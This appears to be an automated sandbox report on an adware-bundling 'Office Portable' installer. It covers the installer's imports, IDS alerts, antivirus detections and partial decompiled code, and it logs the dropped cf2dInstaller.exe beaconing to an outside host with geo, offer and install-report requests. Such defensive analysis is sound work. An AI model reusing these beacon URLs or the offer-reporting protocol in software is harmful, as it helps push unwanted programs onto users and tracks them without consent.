RT_STRING	0x4ed50	0x5a	data
RT_ACCELERATOR	0x37df0	0x10	data
RT_RCDATA	0x37e00	0x3052	GIF image data, version 89a, 220 x 19
RT_RCDATA	0x3ae58	0x13ef6	PC bitmap, Windows 3.x format, 226 x 120 x 24
RT_GROUP_ICON	0x35818	0x14	data
RT_GROUP_ICON	0x37dd8	0x14	data
RT_MANIFEST	0x4edb0	0x225	XML 1.0 document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	CreateFileA, WriteFile, CloseHandle, DeleteFileA, CreateThread, ExitProcess, Sleep, CreateDirectoryA, MoveFileA, WaitForSingleObject, GetModuleFileNameA, GetFileSize, ReadFile, CreateToolhelp32Snapshot, Process32First, Process32Next, SetFilePointer, SystemTimeToFileTime, GetCurrentDirectoryA, LocalFileTimeToFileTime, GetFileAttributesA, SetFileTime, TerminateThread, CreateFileW, WriteConsoleW, SetStdHandle, LockResource, LoadLibraryW, OutputDebugStringW, LoadLibraryExW, HeapReAlloc, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetSystemTimeAsFileTime, GetCurrentProcessId, QueryPerformanceCounter, FlushFileBuffers, SetFilePointerEx, GetConsoleMode, GetConsoleCP, GetFileType, GetCurrentThreadId, GetOEMCP, GetACP, IsValidCodePage, GetProcessHeap, GetModuleFileNameW, GetStdHandle, HeapSize, AreFileApisANSI, LoadResource, SizeofResource, GetLastError, FindResourceA, SetEndOfFile, ReadConsoleW, EnterCriticalSection, GetModuleHandleExW, EnumSystemLocalesW, GetUserDefaultLCID, InterlockedIncrement, InterlockedDecrement, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, HeapFree, HeapAlloc, IsDebuggerPresent, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, InitializeCriticalSectionAndSpinCount, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, SetLastError, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetModuleHandleW, GetProcAddress, LCMapStringW, GetLocaleInfoW, IsValidLocale
USER32.dll	RegisterClassA, GetClassInfoA, InvalidateRect, wsprintfA, GetWindow, SetForegroundWindow, GetWindowThreadProcessId, GetTopWindow, DefWindowProcA, EndPaint, BeginPaint, MoveWindow, SetWindowLongA, PostQuitMessage, UpdateWindow, ShowWindow, CreateWindowExA, GetSystemMetrics, RegisterClassExA, LoadCursorA, LoadIconA, DispatchMessageA, TranslateMessage, TranslateAcceleratorA, GetMessageA, LoadAcceleratorsA, LoadStringA, GetWindowLongA
GDI32.dll	SetDIBitsToDevice
SHELL32.dll	SHGetFolderPathA, ShellExecuteExA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/01/21-10:44:55.660799	TCP	2014071	ET MALWARE Adware.Gen5 Reporting	49755	80	192.168.2.5	87.106.18.122

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 1, 2021 10:44:54.457820892 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:54.481482029 CET	80	49755	87.106.18.122	192.168.2.5
Dec 1, 2021 10:44:54.481615067 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:54.482389927 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:54.505815029 CET	80	49755	87.106.18.122	192.168.2.5
Dec 1, 2021 10:44:54.505872965 CET	80	49755	87.106.18.122	192.168.2.5
Dec 1, 2021 10:44:54.505951881 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:54.558909893 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:54.582462072 CET	80	49755	87.106.18.122	192.168.2.5
Dec 1, 2021 10:44:54.582535982 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:55.622574091 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:55.646388054 CET	80	49755	87.106.18.122	192.168.2.5
Dec 1, 2021 10:44:55.646476984 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:55.660799026 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:55.684587955 CET	80	49755	87.106.18.122	192.168.2.5
Dec 1, 2021 10:44:55.684681892 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:55.694581985 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:44:55.718312979 CET	80	49755	87.106.18.122	192.168.2.5
Dec 1, 2021 10:44:55.718472004 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:46:00.719779968 CET	80	49755	87.106.18.122	192.168.2.5
Dec 1, 2021 10:46:00.719996929 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:46:44.317151070 CET	49755	80	192.168.2.5	87.106.18.122
Dec 1, 2021 10:46:44.340689898 CET	80	49755	87.106.18.122	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 1, 2021 10:44:54.410445929 CET	62176	53	192.168.2.5	8.8.8.8
Dec 1, 2021 10:44:54.436969042 CET	53	62176	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 1, 2021 10:44:54.410445929 CET	192.168.2.5	8.8.8.8	0xed7b	Standard query (0)	xmlinstcp.ddbbvt.eu	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 1, 2021 10:44:54.436969042 CET	8.8.8.8	192.168.2.5	0xed7b	No error (0)	xmlinstcp.ddbbvt.eu		87.106.18.122	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

xmlinstcp.ddbbvt.eu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49755	87.106.18.122	80	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:44:54.482389927 CET	1134	OUT	GET /cmd/geo.php HTTP/1.1 User-Agent: NSIS_ToolkitOffers (Mozilla) Host: xmlinstcp.ddbbvt.eu Cache-Control: no-cache
Dec 1, 2021 10:44:54.505872965 CET	1134	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Wed, 01 Dec 2021 09:44:54 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Dec 1, 2021 10:44:54.558909893 CET	1135	OUT	GET /cmd/api.php?action=newenduser HTTP/1.1 User-Agent: NSIS_ToolkitOffers (Mozilla) Host: xmlinstcp.ddbbvt.eu Cache-Control: no-cache
Dec 1, 2021 10:44:54.582462072 CET	1136	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Wed, 01 Dec 2021 09:44:54 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Dec 1, 2021 10:44:55.622574091 CET	1143	OUT	GET /cmd/api.php?action=getofferbyweight&offer_ids=/noempty&weights=/noempty HTTP/1.1 User-Agent: NSIS_ToolkitOffers (Mozilla) Host: xmlinstcp.ddbbvt.eu Cache-Control: no-cache
Dec 1, 2021 10:44:55.646388054 CET	1144	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Wed, 01 Dec 2021 09:44:55 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Dec 1, 2021 10:44:55.660799026 CET	1144	OUT	GET /cmd/report.php?PartnerId=EAZELIT&OfferId=1279&action=startedInstall&program=Office%20Portable%203.2.0%20&parameter=&origen=&of=1279%2C2421&ofSel=1279&ofNos_mi=&ofNos_ot=&ofDis_mi=&ofDis_ot= HTTP/1.1 User-Agent: NSIS_ToolkitOffers (Mozilla) Host: xmlinstcp.ddbbvt.eu Cache-Control: no-cache
Dec 1, 2021 10:44:55.684587955 CET	1145	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Wed, 01 Dec 2021 09:44:55 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Dec 1, 2021 10:44:55.694581985 CET	1145	OUT	GET /cmd/api.php?action=enduser&enduser_id=<html><head><title>404%20Not%20Found</title></head><body%20bgcolor="white"><center><h1>404%20Not%20Found</h1></center><hr><center>nginx/1.14.2</center></body></html> HTTP/1.1 User-Agent: NSIS_ToolkitOffers (Mozilla) Host: xmlinstcp.ddbbvt.eu Cache-Control: no-cache
Dec 1, 2021 10:44:55.718312979 CET	1145	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Wed, 01 Dec 2021 09:44:55 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: installer_office_portable_3_2_0_Italian.exe PID: 2176 Parent PID: 5604

General

Start time:	10:44:39
Start date:	01/12/2021
Path:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe"
Imagebase:	0xc0000
File size:	1387312 bytes
MD5 hash:	E6C1F02ADF7A41957E63ADCAF186E390
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cf2dInstaller.exe PID: 4408 Parent PID: 2176

General

Start time:	10:44:45
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\
Imagebase:	0x7ff797770000
File size:	981864 bytes
MD5 hash:	8A068C0F475218137F1C169063D27A46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: installer_office_portable_3_2_0_Italian.exe PID: 2176 Parent PID: 5604 installer_office_portable_3_2_0_Italian.exeCOMMON

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.3%
Total number of Nodes:	1765
Total number of Limit Nodes:	33

Executed Functions

Function 000C12B0, Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 164
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E000C12B0(void* __ebx, void* __edx, void* __edi, struct HACCEL__* _a4, intOrPtr _a16) {
				signed int _v8;
				long _v12;
				struct tagMSG _v40;
				struct HACCEL__* _v44;
				void* __esi;
				signed int _t19;
				struct HRSRC__* _t22;
				long _t23;
				void* _t26;
				long _t31;
				void* _t34;
				void* _t41;
				struct HACCEL__* _t44;
				int _t46;
				void* _t50;
				struct HINSTANCE__* _t62;
				void* _t63;
				void* _t65;
				void* _t74;
				void* _t77;
				void* _t78;
				void* _t79;
				void* _t81;
				struct HRSRC__* _t82;
				void* _t83;
				struct HRSRC__* _t84;
				void* _t85;
				intOrPtr* _t86;
				signed int _t87;

				_t74 = __edx;
				_t19 =  *0xef6ac; // 0xcff43140
				_v8 = _t19 ^ _t87;
				_v44 = _a4;
				_t22 = FindResourceA(0, "ELGIF", 0xa); // executed
				_t82 = _t22;
				if(_t82 != 0) {
					_push(__ebx);
					_push(__edi);
					_t23 = SizeofResource(0, _t82);
					_t77 = LoadResource(0, _t82);
					LockResource(_t77);
					_t26 = CreateFileA("loader64.gif", 0x40000000, 0, 0, 2, 0, 0); // executed
					_t83 = _t26;
					WriteFile(_t83, _t77, _t23,  &_v12, 0); // executed
					FindCloseChangeNotification(_t83); // executed
					_t84 = FindResourceA(0, "ELICO", 0xa);
					if(_t84 != 0) {
						_t31 = SizeofResource(0, _t84);
						_t78 = LoadResource(0, _t84);
						LockResource(_t78);
						_t34 = CreateFileA("icon.ico", 0x40000000, 0, 0, 2, 0, 0); // executed
						_t85 = _t34;
						WriteFile(_t85, _t78, _t31,  &_v12, 0); // executed
						FindCloseChangeNotification(_t85); // executed
						_t62 = _v44;
						_t86 = LoadStringA;
						LoadStringA(_t62, 0x67, "Installer", 0x64);
						LoadStringA(_t62, 0x6d, "INSTALLER", 0x64);
						E000C1470(_t62); // executed
						_t75 = _a16;
						_t41 = E000C1500(_t62, _a16); // executed
						if(_t41 != 0) {
							_t44 = LoadAcceleratorsA(_t62, 0x6d); // executed
							_t86 = GetMessageA;
							_v44 = _t44;
							_t46 = GetMessageA( &_v40, 0, 0, 0); // executed
							if(_t46 != 0) {
								do {
									if(TranslateAcceleratorA(_v40, _v44,  &_v40) == 0) {
										TranslateMessage( &_v40);
										DispatchMessageA( &_v40); // executed
									}
									_t50 =  *_t86( &_v40, 0, 0, 0); // executed
								} while (_t50 != 0);
							}
						}
						_pop(_t79);
						_pop(_t63);
						return E000CC7C7(_t63, _v8 ^ _t87, _t75, _t79, _t86);
					} else {
						GetLastError();
						_pop(_t81);
						_pop(_t65);
						return E000CC7C7(_t65, _v8 ^ _t87, _t74, _t81, _t84);
					}
				} else {
					GetLastError();
					return E000CC7C7(__ebx, _v8 ^ _t87, _t74, __edi, _t82);
				}
			}

0x000c12b0
0x000c12b6
0x000c12bd
0x000c12cd
0x000c12d0
0x000c12d6
0x000c12da
0x000c12f3
0x000c12f4
0x000c12f8
0x000c1309
0x000c130c
0x000c1326
0x000c132e
0x000c1337
0x000c133e
0x000c1353
0x000c1357
0x000c1375
0x000c1386
0x000c1389
0x000c13a3
0x000c13ab
0x000c13b4
0x000c13bb
0x000c13c1
0x000c13c4
0x000c13d4
0x000c13e0
0x000c13e4
0x000c13e9
0x000c13ee
0x000c13f5
0x000c13fa
0x000c1400
0x000c140a
0x000c1413
0x000c1417
0x000c1425
0x000c1437
0x000c143d
0x000c1443
0x000c1443
0x000c144f
0x000c1451
0x000c1425
0x000c1417
0x000c1458
0x000c1459
0x000c1467
0x000c1359
0x000c1359
0x000c135f
0x000c1360
0x000c136f
0x000c136f
0x000c12dc
0x000c12dc
0x000c12f0
0x000c12f0

APIs

FindResourceA.KERNEL32(00000000,ELGIF,0000000A), ref: 000C12D0
GetLastError.KERNEL32 ref: 000C12DC
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 000C12F8
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 000C1303
LockResource.KERNEL32(00000000,?,00000000), ref: 000C130C
CreateFileA.KERNELBASE(loader64.gif,40000000,00000000,00000000,00000002,00000000,00000000,?,00000000), ref: 000C1326
WriteFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,00000000), ref: 000C1337
FindCloseChangeNotification.KERNELBASE(00000000,?,00000000), ref: 000C133E
FindResourceA.KERNEL32(00000000,ELICO,0000000A), ref: 000C134D
GetLastError.KERNEL32(?,00000000), ref: 000C1359

Strings

ELGIF, xrefs: 000C12C6
loader64.gif, xrefs: 000C1321
Installer, xrefs: 000C13CC
ELICO, xrefs: 000C1346
INSTALLER, xrefs: 000C13D8
icon.ico, xrefs: 000C139E

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Resource$Find$ErrorFileLast$ChangeCloseCreateLoadLockNotificationSizeofWrite
String ID: ELGIF$ELICO$INSTALLER$Installer$icon.ico$loader64.gif
API String ID: 2223062994-1859602717
Opcode ID: 46f30b3bf5d6f9ecabf7926370427c432224518b0a85dc306debf1112d0526b8
Instruction ID: 72b6b84c8f481ffa26808da82c08779c7d30f5551919ee4ff9a3238f5eafc483
Opcode Fuzzy Hash: 46f30b3bf5d6f9ecabf7926370427c432224518b0a85dc306debf1112d0526b8
Instruction Fuzzy Hash: FD515736B40244BBF7209BA1AC89FDE7B68EB49F51F100465FB01BE1C1DB75AD1487A1

Uniqueness

Uniqueness Score: -1.00%

Function 000C2770, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 116
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E000C2770() {
				signed int _v8;
				long _v12;
				char _v272;
				intOrPtr _v300;
				void* _v308;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				void* _t16;
				int _t20;
				signed int _t21;
				signed int _t22;
				void* _t39;
				intOrPtr* _t42;
				intOrPtr _t47;
				void* _t48;
				struct HWND__* _t49;
				void* _t50;
				void* _t51;
				signed int _t52;

				_t14 =  *0xef6ac; // 0xcff43140
				_v8 = _t14 ^ _t52;
				_t16 = CreateToolhelp32Snapshot(2, 0); // executed
				_t50 = _t16;
				if(_t50 == 0xffffffff) {
					L12:
					return E000CC7C7(_t39, _v8 ^ _t52, _t47, _t48, _t50);
				} else {
					_v308 = 0x128;
					_t20 = Process32First(_t50,  &_v308); // executed
					if(_t20 != 0) {
						_t48 = Process32Next;
						do {
							_t21 = "Installer.exe";
							_t42 =  &_v272;
							while(1) {
								_t47 =  *_t42;
								if(_t47 !=  *_t21) {
									break;
								}
								if(_t47 == 0) {
									L8:
									_t22 = 0;
								} else {
									_t47 =  *((intOrPtr*)(_t42 + 1));
									if(_t47 !=  *((intOrPtr*)(_t21 + 1))) {
										break;
									} else {
										_t42 = _t42 + 2;
										_t21 = _t21 + 2;
										if(_t47 != 0) {
											continue;
										} else {
											goto L8;
										}
									}
								}
								L10:
								if(_t22 == 0) {
									_t49 = GetTopWindow(0);
									if(_t49 == 0) {
										L19:
										return E000CC7C7(_t39, _v8 ^ _t52, _t47, _t49, _t50);
									} else {
										_t51 = GetWindowThreadProcessId;
										_t39 = GetWindow;
										while(1) {
											GetWindowThreadProcessId(_t49,  &_v12);
											if(_v12 == _v300) {
												break;
											}
											_t49 = GetWindow(_t49, 2);
											if(_t49 != 0) {
												continue;
											} else {
												return E000CC7C7(_t39, _v8 ^ _t52, _t47, _t49, _t51);
											}
											goto L20;
										}
										_t50 = ShowWindow;
										ShowWindow(_t49, 5);
										ShowWindow(_t49, 6);
										ShowWindow(_t49, 9);
										ShowWindow(_t49, 1);
										SetForegroundWindow(_t49);
										goto L19;
									}
								} else {
									goto L11;
								}
								goto L20;
							}
							asm("sbb eax, eax");
							_t22 = _t21 | 0x00000001;
							goto L10;
							L11:
						} while (Process32Next(_t50,  &_v308) != 0);
					}
					goto L12;
				}
				L20:
			}

0x000c2779
0x000c2780
0x000c278a
0x000c2790
0x000c2795
0x000c2807
0x000c2819
0x000c2797
0x000c279f
0x000c27a9
0x000c27b1
0x000c27b3
0x000c27c0
0x000c27c0
0x000c27c5
0x000c27d0
0x000c27d0
0x000c27d4
0x00000000
0x00000000
0x000c27d8
0x000c27ec
0x000c27ec
0x000c27da
0x000c27da
0x000c27e0
0x00000000
0x000c27e2
0x000c27e2
0x000c27e5
0x000c27ea
0x00000000
0x00000000
0x00000000
0x00000000
0x000c27ea
0x000c27e0
0x000c27f5
0x000c27f7
0x000c2822
0x000c2826
0x000c2885
0x000c2897
0x000c2828
0x000c2828
0x000c282e
0x000c2834
0x000c2839
0x000c2844
0x00000000
0x00000000
0x000c284b
0x000c284f
0x00000000
0x000c2851
0x000c2863
0x000c2863
0x00000000
0x000c284f
0x000c2864
0x000c286d
0x000c2872
0x000c2877
0x000c287c
0x000c287f
0x00000000
0x000c287f
0x00000000
0x00000000
0x00000000
0x00000000
0x000c27f7
0x000c27f0
0x000c27f2
0x00000000
0x000c27f9
0x000c2803
0x000c27c0
0x00000000
0x000c27b1
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 000C278A
Process32First.KERNEL32(00000000,?), ref: 000C27A9
Process32Next.KERNEL32 ref: 000C2801
GetTopWindow.USER32(00000000), ref: 000C281C
GetWindowThreadProcessId.USER32(00000000,?), ref: 000C2839
GetWindow.USER32(00000000,00000002), ref: 000C2849
ShowWindow.USER32(00000000,00000005), ref: 000C286D
ShowWindow.USER32(00000000,00000006), ref: 000C2872
ShowWindow.USER32(00000000,00000009), ref: 000C2877
ShowWindow.USER32(00000000,00000001), ref: 000C287C
SetForegroundWindow.USER32(00000000), ref: 000C287F

Strings

Installer.exe, xrefs: 000C27C0

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Window$Show$Process32$CreateFirstForegroundNextProcessSnapshotThreadToolhelp32
String ID: Installer.exe
API String ID: 4112844334-3821268972
Opcode ID: 5350d3297a9fcdda178d8ba3fb1ec0d1a4f0423318df9f1b69e01a9e16162091
Instruction ID: 622c585663f5a9b479d5510e620bd1e0a364f20d129ae881750008c0199d7bc3
Opcode Fuzzy Hash: 5350d3297a9fcdda178d8ba3fb1ec0d1a4f0423318df9f1b69e01a9e16162091
Instruction Fuzzy Hash: 2F310836A041486BEB209B649CC5FFE7BB9DF45B10F00019DE909AB680DF359D49DA60

Uniqueness

Uniqueness Score: -1.00%

Function 000C9000, Relevance: 16.3, APIs: 5, Strings: 4, Instructions: 547
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E000C9000(signed int* __ecx, signed int __edx) {
				signed int _v8;
				char _v16;
				signed int _v24;
				char _v32;
				signed char _v36;
				signed int _v38;
				signed int _v39;
				char _v40;
				signed int _v44;
				signed int _v46;
				signed int _v48;
				signed short _v50;
				signed short _v52;
				signed int _v56;
				signed short _v58;
				signed short _v60;
				signed int _v76;
				signed int _v80;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				char _v136;
				signed int _v152;
				char _v156;
				intOrPtr _v160;
				char _v163;
				char _v164;
				signed int _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr* _v180;
				signed int* _v184;
				signed int* _v188;
				signed int _v192;
				signed int _v196;
				signed int* _v200;
				signed int* _v204;
				signed int _v208;
				signed int _v212;
				signed int* _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				char _v232;
				char _v248;
				signed int _v252;
				signed int* _v256;
				signed int _v260;
				char _v264;
				signed char _v268;
				intOrPtr _v272;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t259;
				signed int _t260;
				signed int _t268;
				intOrPtr* _t277;
				intOrPtr _t285;
				intOrPtr _t300;
				char _t301;
				void* _t302;
				signed int _t303;
				signed int _t304;
				intOrPtr _t311;
				signed int _t315;
				signed int _t316;
				signed int _t332;
				signed char _t333;
				signed int _t338;
				signed int _t341;
				intOrPtr* _t346;
				signed int _t347;
				signed int _t350;
				signed int _t351;
				signed int _t357;
				signed int _t364;
				intOrPtr _t366;
				signed int* _t368;
				signed int _t373;
				signed int _t378;
				signed int _t380;
				signed int _t384;
				void* _t398;
				intOrPtr _t399;
				intOrPtr _t401;
				signed int _t402;
				intOrPtr _t403;
				intOrPtr* _t414;
				signed char _t425;
				char* _t430;
				void* _t436;
				signed char _t438;
				intOrPtr* _t446;
				intOrPtr _t454;
				intOrPtr* _t457;
				intOrPtr _t476;
				void* _t477;
				signed int _t479;
				signed int _t482;
				intOrPtr _t483;
				signed int _t487;
				intOrPtr* _t488;
				void* _t489;
				void* _t491;
				signed int _t492;
				void* _t493;
				char* _t494;
				signed int _t495;
				void* _t496;
				void* _t498;
				intOrPtr* _t500;
				intOrPtr* _t501;
				void* _t502;
				void* _t503;
				void* _t506;
				void* _t507;
				void* _t508;
				void* _t510;
				void* _t516;

				_t470 = __edx;
				_push(0xffffffff);
				_push(E000E39AB);
